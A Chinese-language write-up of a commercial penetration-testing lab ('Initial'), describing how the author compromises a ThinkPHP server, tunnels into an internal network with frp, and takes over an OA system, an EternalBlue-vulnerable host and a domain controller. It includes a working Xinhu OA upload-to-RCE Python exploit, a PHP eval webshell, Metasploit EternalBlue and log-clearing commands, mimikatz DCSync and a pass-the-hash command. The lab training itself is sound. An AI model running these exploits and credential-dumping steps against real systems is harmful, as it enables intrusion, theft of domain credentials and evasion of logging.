写在最前面

一直都知道渗透在网络安全中的重要性,可是一直都没用重视,于是在国赛决赛吃大亏。平时自己也在打打 vulnhub,但打的都是一些十分简单的靶场。国赛决赛结束后我就开始push校队的人去学习渗透,当然我这个新上任的队长肯定要起到带头作用,所以我也开始去练习春秋云境的靶场。很多人认为云境这个靶场比较贵,但是我认为能够用钱买知识是一件很划算的事情,而且春秋云境的靶场质量也比较高(还有国赛渗透也有很多内容来自这里面)
这篇文章是关于 Initial 这个靶机的详细讲解,这个是云境中最简单的一题,同时也是我打的第一个关于 windows 渗透的题目,因此学到了很多的东西。

详细讲解

flag1

题目给出了一个ip地址 39.99.255.153,我们可以使用 nmap 来看看他开启了那些端口,命令为:

1
sudo nmap --min-rate 10000 39.99.255.153

这段命令是以最小速率 10000 对全部端口(1-65535)进行扫描,10000 是权衡的结果,数字过大扫描速度快,但容易遗漏端口,数字过小则扫描时间过长,经验表明 10000 就是扫描的合适速度。-p 是端口参数,-p- 表示对所有端口进行扫描。扫描结果如下:

可以看到开启了 2280 端口,22 端口是一个 ssh 服务,80 端口是一个 http 服务,接下来我们可以查看这个几个端口开启的服务和操作系统版本,命令如下:

1
nmap –sT –sV -O –p22,80 39.99.255.153

其中 -sT 表示进行 TCP 扫描(三次握手),-p 表示待扫描的端口(后跟待扫描的端口 2280),-sV 表示探测开放服务的版本,-O 表示探测操作系统版本,扫描结果如下:

可以看到这个ip是一台 ubuntu linux 服务器,好像也没有什么有用的信息,想到还有一个非常好用的扫描工具 fscan,工具的下载地址为:
shadow1ng/fscan: 一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。 (github.com)
这个工具有linux和windows版本,其具体用法可以看官方的文档,这里只用于进行简单的端口扫描,输入:

1
.\fscan -h 39.99.255.153

结果如下:

可以看到 web server 的版本是 ThinkPHP 5.0.23,而且存在漏洞!!!
当然也可以使用nmap命令来进行漏洞扫描,命令如下:

1
nmap --script=vuln -p22,80 39.99.255.153

这里使用 ThinkphpGUI 这个开源工具来进行扫一下,工具链接为:
Lotus6/ThinkphpGUI: Thinkphp(GUI)漏洞利用工具,支持各版本TP漏洞检测,命令执行,getshell。 (github.com)
输入 url 和选择版本后点击检测和 GetShell 即可,结果如下:

可以到网页存在一个后门,还有一个漏洞利用的 poc,我们利用他给的 poc 来写入 shell.php 后门

好像也没有什么回显,于是我们直接使用蚁剑来连他自带的后门:

成功连接,而且我们能看见当前目录下有一个 shell.php 文件

点开可以发现其就是我们利用 poc 上传的后门,不过问题不大,能进来就行,接下来就是需要提取,我们先看一下自己是什么权限:

可以看见是 www-data 权限,可是输入 sudo -l 时回显

(root) NOPASSWD: /usr/bin/mysql

这说明我们可以通过通过 sudo 高权限运行 mysql,进而能够执行 root权 限才能执行的命令,可以参考下面这篇文章,里面也有讲很多种提取的方法
渗透测试:Linux提权精讲(三)之sudo方法第三期_nmap sudo 提权-CSDN博客

于是我们就能很容易的获取到 flag1,可以发现 flag1/root/flag 目录下

flag2

接下来就是要考虑内网横向移动,我们的最终目的是获取域控上的 flag,我们先用蚁剑上传 fscan,扫描一下内网中有那些存活机器

这里要记得给 fscan 执行权限,否则会执行不了
通过 ip a 我们可以发现网段为 172.22.1.0/24

扫描的结果会自动存在当前目录的 result.txt 文件上

于是我们搜集到如下信息:

172.22.1.2:DC域控
172.22.1.21:Windows的机器并且存在MS17-010 漏洞
172.22.1.18:信呼OA办公系统

而我们的最终目标即为 DC 域控
我们搜先是对 OA 办公系统进行攻击,在这之前我们要先进行内网穿透,其目的是使我们能够在攻击机访问内网的服务,这里我们需要一台 vps 和工具 frp,学过web的师傅都知道 vps 是什么,这里就不做解释,frp 的相关知识也请读者自行学习,这里只做简单的介绍。frp的下载地址为,有linux和windows版本:
fatedier/frp: A fast reverse proxy to help you expose a local server behind a NAT or firewall to the internet. (github.com)
该工具的目录如下:

其中 frpcfrps 是可执行文件,我们需要将 frpsfrps.ini 上传到我们的 vpsfrpc
frpc.ini 上传到我们的靶机
下面是我相关文件的配置
frpc.ini:

1
2
3
4
5
6
7
8
[common] 
server_addr = 120.46.199.181 # 我vps的ip地址
server_port = 7000

[socks5]
type = tcp
plugin = socks5
remote_port = 798

frps.ini:

1
2
[common]
bind_port = 7000

这里要确保你的 vps 开启了 7000798 端口
然后在靶机执行:

1
./frpc -c frpc.ini

vps 执行:

1
./frps -c frps.ini

最后在攻击机你自己的电脑上(windows,不是 kalikali 的配置方法在后面有讲)使用 Proxy Servers 配置 socks5 代理即可

其原理我不懂,学院到现在还没有教计算机网络,加上我一个纯pwn手也没去研究这种东西(其实是我懒),请师傅们轻点骂 :-(
最后还要在 Proxy Servers 上配置一下 Proxificantion Rule,吧除了刚配置的那一项以外的全部勾勾去掉,不然还是会访问不了,原理还是不知道🤔
配置完后就能直接在浏览器中输入 172.22.1.18 进行访问了,可以看到该系统的版本是 2.2.8 (这个是重点,可以通过搜索系统的版本号看看有没有已经给发现的漏洞)

这里存在一个弱口令,admin/admin123。

登录后就是 web 手的事情了,这个系统存在文件上传漏洞,有直接的 poc,这里我直接参考:
[代码审计]信呼协同办公系统2.2存在文件上传配合云处理函数组合拳RCE_信呼协同办公系统弱口令-CSDN博客
exp.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests


session = requests.session()

url_pre = 'http://url/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'

data1 = {
'rempass': '0',
'jmpass': 'false',
'device': '1625884034525',
'ltype': '0',
'adminuser': 'dGVzdA::',
'adminpass': 'YWJjMTIz',
'yanzm': ''
}


r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})

filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']

url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'

r = session.get(url3)
r = session.get(url_pre + filepath + "?1=system('whoami');")
print(r.text)

相同目录下还有一个 1.php 文件存的是一句话木马
1.php:

1
<?php eval($_POST["1"]);?>

运行后可以看到文件上传的路径:

然后直接蚁剑连接:

连接成功:

可以看到已经拥有了 system 权限,我们直接在 Administrator 用户的目录下找到 flag2

flag3

接下来我们就对 ip 172.22.1.21 进行渗透,这里需要用到渗透框架 Metasploit Frameworkkali 自带这个框架,这里的攻击机我选用 kali(windows也可以安装Metasploit Framework,不过上面我说过也要讲讲如何在kali设置代理)。我们首先要在 kali 中设置 socks5 代理,否则我们无法访问其内网的环境。
kali 中设置代理比 windows 简单很多,他自带了一个 proxychains4 工具,我们只需要编辑 etc 目录下的 proxychians4.conf 文件:

在最下面的 ProxyList 上加上 socks5 vps ip 端口 即可

然后就能在浏览器中访问靶机内网的 172.22.1.* 那三台机器了
在上面用 fscan 的扫描中我们发现该机子存在 MS17-010 漏洞,这个就是大名鼎鼎的永恒之蓝漏洞
我们先在 kali 输入 msfconsole 启动 Metasploit Framework (后面简称 msf

可以看见界面十分的酷炫,而且每次启动 msf 时这个图片都会不一样
输入 search ms17-010 搜索 ms17-010 相关模块,可以看到一共找到了 4 个不同的模块:

这里我们选择使用第一个模块,因为他影响是版本比较多,然后接下来依次输入以下命令来发起永恒之蓝攻击:

1
2
3
4
use exploit/windows/smb/ms17_010_eternalblue  # 选择使用的模块
set payload windows/x64/meterpreter/bind_tcp_uuid # 设置payload,可以通过show payloads查看
set RHOSTS 172.22.1.21 # 设置靶机的ip
exploit # 发起攻击

运行成功会出现meterpreter>
Meterpretermetasploit 的一个扩展模块,可以调用 metasploit 的一些功能,对目标系统进行更深入的渗透,入获取屏幕、上传/下载文件、创建持久后门等。
下面介绍一些该模块常用的命令:

1
2
3
4
5
meterpreter > screenshot # 捕获屏幕
meterpreter > upload hello.txt c:// #上传文件
meterpreter > download d://1.txt # 下载文件
meterpreter > shell # 获取cmd
meterpreter > clearev # 清除日志

紧接着上图,可以发现我们已经成功的打进该主机,遗憾的是该机子上并没有 flag ,也就是说我们最后的flagwindows DC 域控制器上面
接下来是进行 DCSync 攻击,这里简单解释一下:
首先,什么是 DCSync

在域中,不同的域控之间,默认每隔15min就会进行一次域数据同步。当一个额外的域控想从其他域控同步数据时,额外域控会像其他域控发起请求,请求同步数据。如果需要同步的数据比较多,则会重复上述过程。DCSync就是利用这个原理,通过目录复制服务(Directory Replication Service,DRS)的GetNCChanges接口像域控发起数据同步请求,以获得指定域控上的活动目录数据。目录复制服务也是一种用于在活动目录中复制和管理数据的RPC协议。该协议由两个RPC接口组成。分别是drsuapi和dsaop。
DCSync是mimikatz在2015年添加的一个功能,由Benjamin DELPY gentilkiwi和Vincent LE TOUX共同编写,能够用来导出域内所有用户的hash

也就是说我们可以通过 DCSync 来导出所有用户的 hash 然后进行哈希传递攻击,要想使用 DCSync 必须获得以下任一用户的权限:

Administrators 组内的用户
Domain Admins 组内的用户
Enterprise Admins 组内的用户域控制器的计算机帐户

现在我们回到一开始 fscan 的扫描结果:

我们可以看到我们用永恒之蓝打下的这台机子是 enterprise 用户,也就是说满足 DCSync 攻击的条件,于是我们在 msf 中依次输入以下命令来获取用户的 hash

1
2
load kiwi  # 调用mimikatz模块
kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit # 导出域内所有用户的信息(包括哈希值)

结果如下:

这里我们比较关注是 Administrator 用户的 hash,接下来我们使用 crackmapexec 来进行哈希传递攻击,来实现 DC域控 上的任意命令执行,通过以下命令来获取 flag3

1
crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

最终 flagflag{60b53231-2ce3-4813-87d4-e8f88d0d43d6}

总结

感觉这种渗透和穿透的web还是有一点区别,从外网打进内网的过程要第一步要做的不是自己去寻找和日漏洞,而是看看系统有没有历史遗留的漏洞以及是否有现成的exp进行攻击。打国决的时候有的队伍拿着现成的exp直接开局2分钟就打进内网了,而我们队伍就和做传统web题目一样一步一步的打,耗费了很多时间才打进去,非常的吃亏。
在打这个靶场中花费时间最多的是用 frp 进行内网穿透,主要是我理解能力比较差,网上的文章看的似懂非懂的。期间还请教了unknown师傅和panz0e师傅,然后某人就因为这件事情没完成上班任务😂😂😂😂😂

虽然靶场比较简单,可是还是花费了我许多的时间,还是Csome师兄说的那句话:“菜就多练”,这一年打算多练练渗透,希望明年国赛不会留下遗憾
参考:
域渗透——DCSync (3gstudent.github.io)
春秋云境Initial-WP(附带详细代理过程)_lnitial靶机-CSDN博客
MS17-010(Eternal blue永恒之蓝)漏洞利用+修复方法-CSDN博客
[原创]MS17-010 “永恒之蓝”漏洞分析与复现-二进制漏洞-看雪-安全社区|安全招聘|kanxue.com
内网渗透|谈谈HASH传递那些世人皆知的事-腾讯云开发者社区-腾讯云 (tencent.com)